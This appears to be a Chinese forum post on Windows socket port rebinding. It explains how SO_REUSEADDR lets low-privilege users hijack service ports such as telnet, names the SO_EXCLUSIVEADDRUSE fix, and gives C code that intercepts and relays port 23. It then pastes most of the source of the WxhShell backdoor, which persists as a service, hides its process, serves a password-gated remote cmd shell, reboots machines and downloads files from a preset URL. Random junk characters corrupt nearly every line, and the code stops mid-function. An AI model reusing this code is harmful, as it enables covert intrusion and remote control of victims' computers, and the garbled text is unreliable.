在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Hop$w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t?0D* !D 2>l:: 8Pp saddr.sin_family = AF_INET;
!$>d75zli 2dr[0tE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y/m^G=Q6g# |Aw(v6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I,r 3.2u rZy38Wo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nr>g0_%m
]8q5k5~ 这意味着什么?意味着可以进行如下的攻击:
b-{\manH kQ$Q}3f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
TIV1?S PZF>ia} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
d{f3R8~Q. <)zh2UI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7"r7F#D=G EO,;^RtB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A`7uw|uO$ 'r%`(Z{~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
daaEN( QY2!.a^q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sa`7_KB $.}fL;BzVz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ih?_ fW +0=u] #include
p1HU2APFP #include
j$#pG #include
DsqsMlB{ #include
`
BH8v DWORD WINAPI ClientThread(LPVOID lpParam);
-uiZp ! int main()
/'=C<HSO {
GG\]}UjX WORD wVersionRequested;
&G@*/2A DWORD ret;
SMQuJ_ WSADATA wsaData;
56*}}B$? BOOL val;
>Ge&v'~_| SOCKADDR_IN saddr;
aT F} SOCKADDR_IN scaddr;
QzIK580%t int err;
4T6dju SOCKET s;
vhEPk2wD, SOCKET sc;
g?M\Z"; int caddsize;
v'.?:S&m HANDLE mt;
$.(>Sj1 DWORD tid;
O@3EJkv wVersionRequested = MAKEWORD( 2, 2 );
9c806>]U^ err = WSAStartup( wVersionRequested, &wsaData );
'=x if ( err != 0 ) {
S,vrz!'>A printf("error!WSAStartup failed!\n");
TD,W *(b return -1;
#
3uXgZi }
Nm<3bd saddr.sin_family = AF_INET;
Rcf_31 L W
k'()N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:gb7Py'C @5zL4n@w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
r,i^-jv; saddr.sin_port = htons(23);
tCK%vd% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W)V"QrFK {
[Y*p
I&f printf("error!socket failed!\n");
d>NElug return -1;
K|Std)6 }
/wI$}X5o~ val = TRUE;
Aa.bE,W //SO_REUSEADDR选项就是可以实现端口重绑定的
@6ZQkX/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}Fyf?TZ$T {
}MrRsvN printf("error!setsockopt failed!\n");
S'V0c%'QQV return -1;
DI**fywu[3 }
a`GoNh, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-U"(CGb5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-sGfpLy<6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%|o4 U0c *gu~7&yoP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
L]kSj$A {
`#2}[D ret=GetLastError();
M'HmVg4' printf("error!bind failed!\n");
pF#nj`L return -1;
'(kGc% }
>mT2g listen(s,2);
>! wX%QHH while(1)
&K)c*'l {
Oh~JyrZy caddsize = sizeof(scaddr);
F^&_O*" //接受连接请求
0NZg[ >H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kfg9l?R$I< if(sc!=INVALID_SOCKET)
,#UaWq@7 {
ed2QGTgR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
UbJ_'>hK 6 if(mt==NULL)
}!(cm;XA" {
0~R0)Q, printf("Thread Creat Failed!\n");
>Rjk d>K3 break;
O@'/B" & }
CG@ LYN }
F%lP<4Vx CloseHandle(mt);
X|7gj&1 }
%-i2MK'A closesocket(s);
Qg C WSACleanup();
jw5Bbyk return 0;
2ME3= C }
#)hM]=,e DWORD WINAPI ClientThread(LPVOID lpParam)
|JSj<~1ki {
L/"XIMI*Xg SOCKET ss = (SOCKET)lpParam;
; a XcGa SOCKET sc;
9Rzu0:r., unsigned char buf[4096];
&2Q4{i SOCKADDR_IN saddr;
tV9nC long num;
SI*O#K=w DWORD val;
<E|i3\[p DWORD ret;
:o&qJ% //如果是隐藏端口应用的话,可以在此处加一些判断
GG5wiN*2S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#<S+E7uTs saddr.sin_family = AF_INET;
4E J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nxKV7d@R saddr.sin_port = htons(23);
O2q`2L~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]P<u^ `{* {
^hq`dr|R= printf("error!socket failed!\n");
u8v;O}# return -1;
a"0Xam }
S
j)&! val = 100;
e54wAypPOl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BYyR-m {
p./zW
)7+ ret = GetLastError();
x/#*M return -1;
>pbO\=j]X }
LS+ _y<v= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mMS%O]m,| {
OySIp[{tJ ret = GetLastError();
QnME|j\ return -1;
/=*h\8c~ }
t)=u}t$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6x^#|;e>lI {
y-)|u:~h printf("error!socket connect failed!\n");
&{]zL closesocket(sc);
#pErGz'{ closesocket(ss);
`6)GjZh^ return -1;
0+}42g|_ Z }
93$'PwWgiF while(1)
1\=)b< y {
C,P>7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pb]: i+c) //如果是嗅探内容的话,可以再此处进行内容分析和记录
%# ?)+8"l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IKMkpX!] num = recv(ss,buf,4096,0);
R7r` (c! if(num>0)
HJo&snT3 send(sc,buf,num,0);
:$~)i?ge<5 else if(num==0)
Jajo!X*Wai break;
"9jt2@< num = recv(sc,buf,4096,0);
aJ}y|+Cj if(num>0)
k(pI5N}pJZ send(ss,buf,num,0);
X+z!?W*a else if(num==0)
3vfm$sx@ break;
uPr'by }
2w>WS# closesocket(ss);
PTWP7A[ closesocket(sc);
0/S|h"-L return 0 ;
;!q _+P }
}A\s`Hm vxhs1vh Aw~
=U! ==========================================================
rU=qr&f"B brx
7hI 下边附上一个代码,,WXhSHELL
_dky+ E ?`bi8 Ck ==========================================================
N DZ :`D 1@rI4U@D #include "stdafx.h"
v;AsV`g }:<`L\8q\ #include <stdio.h>
4$#nciAe #include <string.h>
tgSl(. #include <windows.h>
Anr''J&9`H #include <winsock2.h>
1O]'iS" #include <winsvc.h>
SR)G!9z_/ #include <urlmon.h>
>?aPXC {AUhF}O #pragma comment (lib, "Ws2_32.lib")
mSF>~D1_ #pragma comment (lib, "urlmon.lib")
VW: WB.K$ .<%2ON_ #define MAX_USER 100 // 最大客户端连接数
&*}`uJt #define BUF_SOCK 200 // sock buffer
?~X*\ #define KEY_BUFF 255 // 输入 buffer
W/DSj : y.P Wh<dI #define REBOOT 0 // 重启
}K':tX? #define SHUTDOWN 1 // 关机
Q#w mS&$f &YC Z
L #define DEF_PORT 5000 // 监听端口
h_#x@p }%Mj`Bh #define REG_LEN 16 // 注册表键长度
W^#HR #define SVC_LEN 80 // NT服务名长度
{9:[nqX FcVQ_6 // 从dll定义API
P'%#B&LZo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
dO]N&'P7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R+{QZ'K.qg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1W3+ng typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Wi7!J[ B :0@R(ct;> // wxhshell配置信息
/e5' YVP struct WSCFG {
cq:<,Ke int ws_port; // 监听端口
zG-pqE6 char ws_passstr[REG_LEN]; // 口令
fy9mS int ws_autoins; // 安装标记, 1=yes 0=no
011 N char ws_regname[REG_LEN]; // 注册表键名
DQ%bcXs char ws_svcname[REG_LEN]; // 服务名
`#@#eZ char ws_svcdisp[SVC_LEN]; // 服务显示名
7QV@lR<C2R char ws_svcdesc[SVC_LEN]; // 服务描述信息
)aSj!X'`; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.)=T1^[hI int ws_downexe; // 下载执行标记, 1=yes 0=no
jB)RvvMU5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*nS}1(u] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
i!0w? /g9 RN:VsopL };
"/H B# )gF>nNE // default Wxhshell configuration
h,-2+} struct WSCFG wscfg={DEF_PORT,
~5`p/.L)ZD "xuhuanlingzhe",
vge4&H3a& 1,
2L!s'^m- "Wxhshell",
Ao?y2 [sE "Wxhshell",
QFekj@ "WxhShell Service",
cPaz- "Wrsky Windows CmdShell Service",
)/4eT\ = "Please Input Your Password: ",
a(.q=W 1,
B|9[DNd "
http://www.wrsky.com/wxhshell.exe",
6=N!()s "Wxhshell.exe"
55O_b)$ };
X%(1C,C( '`s\_Q)hG_ // 消息定义模块
ul(pp+%S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7`xeuK char *msg_ws_prompt="\n\r? for help\n\r#>";
Z4ekBdmCL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(F=/r]Q char *msg_ws_ext="\n\rExit.";
A-"2 sp*t char *msg_ws_end="\n\rQuit.";
VT ikLuH char *msg_ws_boot="\n\rReboot...";
;]gj:6M char *msg_ws_poff="\n\rShutdown...";
+az=EF char *msg_ws_down="\n\rSave to ";
!AR@GuQPE vciO={M char *msg_ws_err="\n\rErr!";
d23;c )'
char *msg_ws_ok="\n\rOK!";
.+3~
w =Jyi9VN=& char ExeFile[MAX_PATH];
M=rH*w{^ int nUser = 0;
<n4?wo HANDLE handles[MAX_USER];
OQnb^fabY int OsIsNt;
uuaoBf ?uAq goCl SERVICE_STATUS serviceStatus;
bi{G
:xt SERVICE_STATUS_HANDLE hServiceStatusHandle;
o|7ztpr ~K$dQb]) // 函数声明
3M^s
EaUI int Install(void);
k2-+3zx int Uninstall(void);
P~}Yj@2 int DownloadFile(char *sURL, SOCKET wsh);
ZuLW%z. int Boot(int flag);
ol3].0Vc] void HideProc(void);
=w !>/#U int GetOsVer(void);
9 AWFjoXl" int Wxhshell(SOCKET wsl);
zrDcO~w void TalkWithClient(void *cs);
=Ju%3ptH0 int CmdShell(SOCKET sock);
q%S^3C& int StartFromService(void);
aHR+4m~) int StartWxhshell(LPSTR lpCmdLine);
w;b;rHAZ\ (e"\%p` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P>}OwW VOID WINAPI NTServiceHandler( DWORD fdwControl );
$y$E1A6h+ Z Jgy!)1n // 数据结构和表定义
'_q&~M{ SERVICE_TABLE_ENTRY DispatchTable[] =
`8 Ann~Z|k {
PAD&sTjE* {wscfg.ws_svcname, NTServiceMain},
D4OJin^} {NULL, NULL}
2 xE+"?0 };
PenkqDc} +b
sc3 // 自我安装
pQ,|l$^m int Install(void)
W?H-Ng3E {
R$m?aIN char svExeFile[MAX_PATH];
|S6L[Uo HKEY key;
A u10]b strcpy(svExeFile,ExeFile);
n@=D,'cn b3 NEYn // 如果是win9x系统,修改注册表设为自启动
mXwDB)O{) if(!OsIsNt) {
@1vpkB~ w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)+ (GE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gmUX
2x( RegCloseKey(key);
vqhu%ZyP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_uL8TC^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^ *1hz< RegCloseKey(key);
0/5{v6_rG return 0;
d_1uv_P }
GIM'H;XG }
IkP; i_| }
GMKY1{ else {
dbG902dR G2
0 // 如果是NT以上系统,安装为系统服务
]?*'[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wh2Ljskda8 if (schSCManager!=0)
b"JX6efnN {
h+DK
.$ SC_HANDLE schService = CreateService
XXg~eu? (
4+B&/}FDLo schSCManager,
tk\)]kj wscfg.ws_svcname,
"1wjh=@z wscfg.ws_svcdisp,
"?=$(7uc SERVICE_ALL_ACCESS,
g/+|gHq^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1|WrJ-Uf SERVICE_AUTO_START,
z1m-t#v: SERVICE_ERROR_NORMAL,
6f*QUw~ svExeFile,
F\2<q$Zn+ NULL,
06]%$-j NULL,
exxH0^ NULL,
F-=Xbyr3@ NULL,
BHf7\+Ul NULL
h $)4%Fy );
-uei nd] if (schService!=0)
P,<pG[^K {
*"d['V3 CloseServiceHandle(schService);
~.$ca.Gf CloseServiceHandle(schSCManager);
Yn5a4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;;
?OS strcat(svExeFile,wscfg.ws_svcname);
%~I%*=o[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2l}H=DZV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Oj1B @QE RegCloseKey(key);
9j>LU<Z return 0;
/_mU%fl }
:Aa5,{v_ }
=rN_8& CloseServiceHandle(schSCManager);
3H`r|R }
, Y^GQ`~# }
lho0Xy
gn Rm[{^V.Z$ return 1;
2*@@Bw.XA }
VXO.S)v2J ]sDlZJX<M // 自我卸载
O ]!/fZ;( int Uninstall(void)
:yFmCLZaQ {
wBz5_ OFVw HKEY key;
m't8\fo^w rm%MQmF if(!OsIsNt) {
s x2\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+[":W?j RegDeleteValue(key,wscfg.ws_regname);
~COd(,ul RegCloseKey(key);
bL2b^UB~% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:Izdj*HL;A RegDeleteValue(key,wscfg.ws_regname);
,In}be$: RegCloseKey(key);
[j 'lB return 0;
(5GjtFojY| }
AGV+Y6 }
BnU3oP }
Qe;R3D=T; else {
.R_-$/ZP ,.i)(Or SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#{g6'9PMz if (schSCManager!=0)
YhO-ecN {
8Z>=sUMQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F.iJz4ya_ if (schService!=0)
<"Yx}5n. {
X< 4f7;]O if(DeleteService(schService)!=0) {
tY- `$U@ CloseServiceHandle(schService);
aucG|}B
CloseServiceHandle(schSCManager);
&Fh#o t H_ return 0;
>JHQA1mX }
fzr0dcNgM CloseServiceHandle(schService);
P;K <P }
Lnc>O'<5P9 CloseServiceHandle(schSCManager);
IzlmcP3 }
g|<$\} }
-"5r-q q* s&L 6C[ return 1;
XXy&1C }
m^KK
#Hw/` R]"
jr // 从指定url下载文件
h@+(VQ int DownloadFile(char *sURL, SOCKET wsh)
&d=ZCaP {
O~c\+~5M* HRESULT hr;
QFU1l"(qGk char seps[]= "/";
"$ U!1 char *token;
"bA8NQIP char *file;
9uW\~DwsZ% char myURL[MAX_PATH];
mI,!8# char myFILE[MAX_PATH];
:xZ^Jq91 0[R7HX-@ strcpy(myURL,sURL);
w0,rFWS token=strtok(myURL,seps);
~ekV*,R" while(token!=NULL)
eVRjU {
Jj7he(!_1 file=token;
Rz"gPU4;` token=strtok(NULL,seps);
I*0TI@Lo }
*eAzk2 .$-GGvN] GetCurrentDirectory(MAX_PATH,myFILE);
C/YjMYwKgv strcat(myFILE, "\\");
:y^%I xs{1 strcat(myFILE, file);
?dY|,_O send(wsh,myFILE,strlen(myFILE),0);
-GT&46hX send(wsh,"...",3,0);
sW0<f&3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'\R/-. if(hr==S_OK)
i|CAN,' return 0;
OFn#C! else
wqA7_
- return 1;
tB<|7 nZ/pi$7 }
Yl"l|2
: -$o4WSd~ // 系统电源模块
@WICAC= int Boot(int flag)
JQH>{OB {
=4804N7 HANDLE hToken;
~ ":}Rs TOKEN_PRIVILEGES tkp;
%Iv*u sXP ,o sM|!, if(OsIsNt) {
DgKe!w$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6Jd.Eg ~A7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N.?)s.D( tkp.PrivilegeCount = 1;
hi^t zpy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e#s-MK-Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ab^>_xD< if(flag==REBOOT) {
$m;DwlM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b>f{o_ return 0;
ok(dCAKP }
Y1 *8&xT else {
Mc<O ~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ObSRd$M return 0;
aLO'.5
~^ }
Gk]6WLi }
UOcO\EA+ else {
o>o! -uf if(flag==REBOOT) {
>rid3~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?VR:e7|tU return 0;
R3@luT] }
VTJxVYE else {
Q$8K-5U% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hv#|dI=kZR return 0;
]OLe&VRix }
YOQ>A*@4 }
s> JWNP O^KIB%}fu return 1;
?k+>~k{}a }
s}bv
o ,O`~ D~$ // win9x进程隐藏模块
nP#|JRn= void HideProc(void)
>WmTM0 {
CC,CKb 4Bk9d\z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
R>R8LIZZc if ( hKernel != NULL )
z65Q"A {
vY2^*3\<D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m.w.h^f$& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y8$I= FreeLibrary(hKernel);
Sq[LwJ }
9_xJT^10 h Nx#x return;
wAF<_NG# }
WnL7 A:sZ uO5y{O2W // 获取操作系统版本
;-6 int GetOsVer(void)
f8S! FGiNc {
1`)e}p& OSVERSIONINFO winfo;
+{au$v} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
VRD:PVz GetVersionEx(&winfo);
]La~Bh6;m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'|@?R |i0 return 1;
$$e"[g else
lky5%H return 0;
]4eIhj? }
\`Ow)t: T':} p2}w+ // 客户端句柄模块
PIM4c int Wxhshell(SOCKET wsl)
jP}Ix8vc= {
DE!c+s_g4 SOCKET wsh;
}fh<L CwTi struct sockaddr_in client;
q6EZ?bo{ DWORD myID;
FgnPh%[u s5J?,xu while(nUser<MAX_USER)
GGez!?E% {
@@d6,= int nSize=sizeof(client);
&*#Obv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
bDjm:G if(wsh==INVALID_SOCKET) return 1;
1h#e-Oyff L)X[$: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7~!F3WT{ if(handles[nUser]==0)
nd,2EX<bE closesocket(wsh);
`&URd&ouJD else
PauF)p nUser++;
|OBh:d_B] }
DC(u,iW%6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
B6.9hf U5ME`lN*` return 0;
vJ{aBx`VS }
h?P-
:E Y(B3M=j // 关闭 socket
Sy"!Q%+| void CloseIt(SOCKET wsh)
^T*'B-`C7X {
9w dl1QS closesocket(wsh);
A.cNOous| nUser--;
Td5yRN! ? ExitThread(0);
2x!cblo }
fVz0H1\J& #j4RX:T*[ // 客户端请求句柄
cf,^7,-`" void TalkWithClient(void *cs)
A5go)~x\ {
'+v[z=.8] _B7+n"t\r SOCKET wsh=(SOCKET)cs;
"=,IbC char pwd[SVC_LEN];
)`K!XX$% char cmd[KEY_BUFF];
odKdpa
Zc[ char chr[1];
`y$@zT?j int i,j;
szGGw Y(F>;/AA while (nUser < MAX_USER) {
eS/Au[wS "Z)zKg if(wscfg.ws_passstr) {
!OV+=Rwdx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e#!p6+#" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2?@Ozr2Uh //ZeroMemory(pwd,KEY_BUFF);
Xx1e SX i=0;
t&Jrchk while(i<SVC_LEN) {
WSbD."p< [oOV@GE // 设置超时
a/xnf<(H fd_set FdRead;
}U@(S>,% struct timeval TimeOut;
9k;%R5( FD_ZERO(&FdRead);
zg$NrI& FD_SET(wsh,&FdRead);
/ "@cv{ TimeOut.tv_sec=8;
=F09@C, TimeOut.tv_usec=0;
}#2I/dn int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7V-uQ)* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i2E@5 v=|Y v(;n|=O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`]F#j ]" pwd
=chr[0]; ZuT5}XxF
if(chr[0]==0xd || chr[0]==0xa) { <=]:ED $V@
pwd=0; 1!;4I@W(I)
break; v)JS4KS
} BMb0Pu8
i++; g}$B4_sY
} *g"Xhk
4 {+47=n
// 如果是非法用户,关闭 socket r*UE>_3J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `t>:i!s/
} RG:_:%@%}
#6@4c5{2=4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \G2PK&)F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K"8!
#N'bhs
while(1) { !+(H(,gI
=-]NAj\
ZeroMemory(cmd,KEY_BUFF); aSIoq}c(
S|]\q-qA&
// 自动支持客户端 telnet标准 YL/B7^fd8
j=0; )i<Qg.@MX
while(j<KEY_BUFF) { ?%*p!m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > ,x``-
cmd[j]=chr[0]; K{0 gkORF
if(chr[0]==0xa || chr[0]==0xd) { 4VhKV JX
cmd[j]=0; kOQ!]-;
break; nw0Tg= P
} V W( +sSQ
j++; %*OQH?pyx}
} 0zE(:K
Iz8gZ:rd0
// 下载文件 2E0oLl[
if(strstr(cmd,"http://")) { D~)bAPAD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hVh,\d&2t
if(DownloadFile(cmd,wsh)) krRnE7\m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \7G.anY
else 5%w08
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \S>GtlQbn
} d
9]zB-A
else { 9yp'-RKjw
4P?@NJp
switch(cmd[0]) { Y+Cv9U0
HqXS-TG
// 帮助 $V;0z~&!'
case '?': { _Zus4&'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M=4`^.Ocm
break; T!-ly7-`
} w[#*f?at~
// 安装 3x>Y
case 'i': { f1
`E-
if(Install()) JG@Zb}b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xn anca
else ;Qidf}:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`'K.-?#
break; w,LB
} cG{
// 卸载
pzb`M'Z?C
case 'r': { aVp-Ps|r
if(Uninstall()) ZUS06#t}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}'!W`<
else ppnl bL^*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + aWcK6
break; Li9>RY+3
} ;<#=|eD2
// 显示 wxhshell 所在路径 0a:@DOzT
case 'p': { ]>[0DX]j
char svExeFile[MAX_PATH]; j+Q+.39s-~
strcpy(svExeFile,"\n\r"); XQZiJ
%'
strcat(svExeFile,ExeFile); c|X}[
send(wsh,svExeFile,strlen(svExeFile),0); =oTj3+7
break; fDAT#nlyp
} 6ipQx/IQ
// 重启 ~-'-<-
case 'b': { L&&AK`Ur3l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <GSp%r
if(Boot(REBOOT))
_+}f@&"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oo|Nu+
else { K+`deH_d
closesocket(wsh); } wx(P3BHD
ExitThread(0); Mg&<W#$K
} DS ;.)P"
break; Nb)Mh
} (
;_AP.
// 关机 ie7P^:T|+
case 'd': { UQjYWXvi
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pW_mS|
if(Boot(SHUTDOWN)) *A0*.>@N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `E|>K\
else { ( +(bw4V/
closesocket(wsh); rq:sy=;
ExitThread(0); ,fvhP $n
} Pb<6-Jc[
break; on
4
$n7
} 6E9o*YSk
// 获取shell @>+`1C
case 's': { 5m\)82s
CmdShell(wsh); 5>h/LE]"
closesocket(wsh); "8E=*2fcw
ExitThread(0); =.qPjp_Qd
break; 37*2/N2
} X39%O'
// 退出 ,_@) IN
case 'x': { Bnw^W_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =KHX_ib
CloseIt(wsh); {Rn*)D9
break; @_?Uowc8
} 7Ac.^rv5
// 离开 jWso'K
case 'q': { y0'WB`hNQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dRUmC H
closesocket(wsh); HahA} Q
WSACleanup(); !w/]V{9`X
exit(1); =69sWcC8
break; @XVx{t;g2
} N!<X%Ym
} 6\? 2=dNX
} f;!L\$yKy
HBA|NV3.
// 提示信息 sn+ kFvk}S
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!U1cB{
} 6n
H'NNS:J
} w I[Hoi
V
-c#vWuLl
return; c_Iq!MH
} ~;uU{TT
B^.:dn
// shell模块句柄 .g_^! t
int CmdShell(SOCKET sock) 'l3 DP
{ df/7u}>9
STARTUPINFO si; zUWeOR'X
ZeroMemory(&si,sizeof(si)); SPnW8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0>
QqsQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >RrG&Wv59
PROCESS_INFORMATION ProcessInfo; gp+@+i>b+[
char cmdline[]="cmd"; ;X+cS,h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lU`t~|>r+
return 0; ,M
:j5
} p{&o{+c
K14v6d
// 自身启动模式 f DPLB[
int StartFromService(void) .f|)od[
{ DH uUEv<
typedef struct h]}DMVV]
{ dwb ^z+
DWORD ExitStatus; ()Qq7/
DWORD PebBaseAddress; M$} AJS%8
